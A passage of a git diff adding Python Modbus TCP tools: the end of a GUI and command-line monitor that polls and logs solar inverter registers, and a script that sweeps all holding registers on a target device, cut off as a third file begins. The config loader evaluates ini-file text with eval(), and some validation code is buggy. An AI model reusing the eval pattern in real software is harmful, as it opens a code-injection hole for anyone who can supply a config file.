exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from 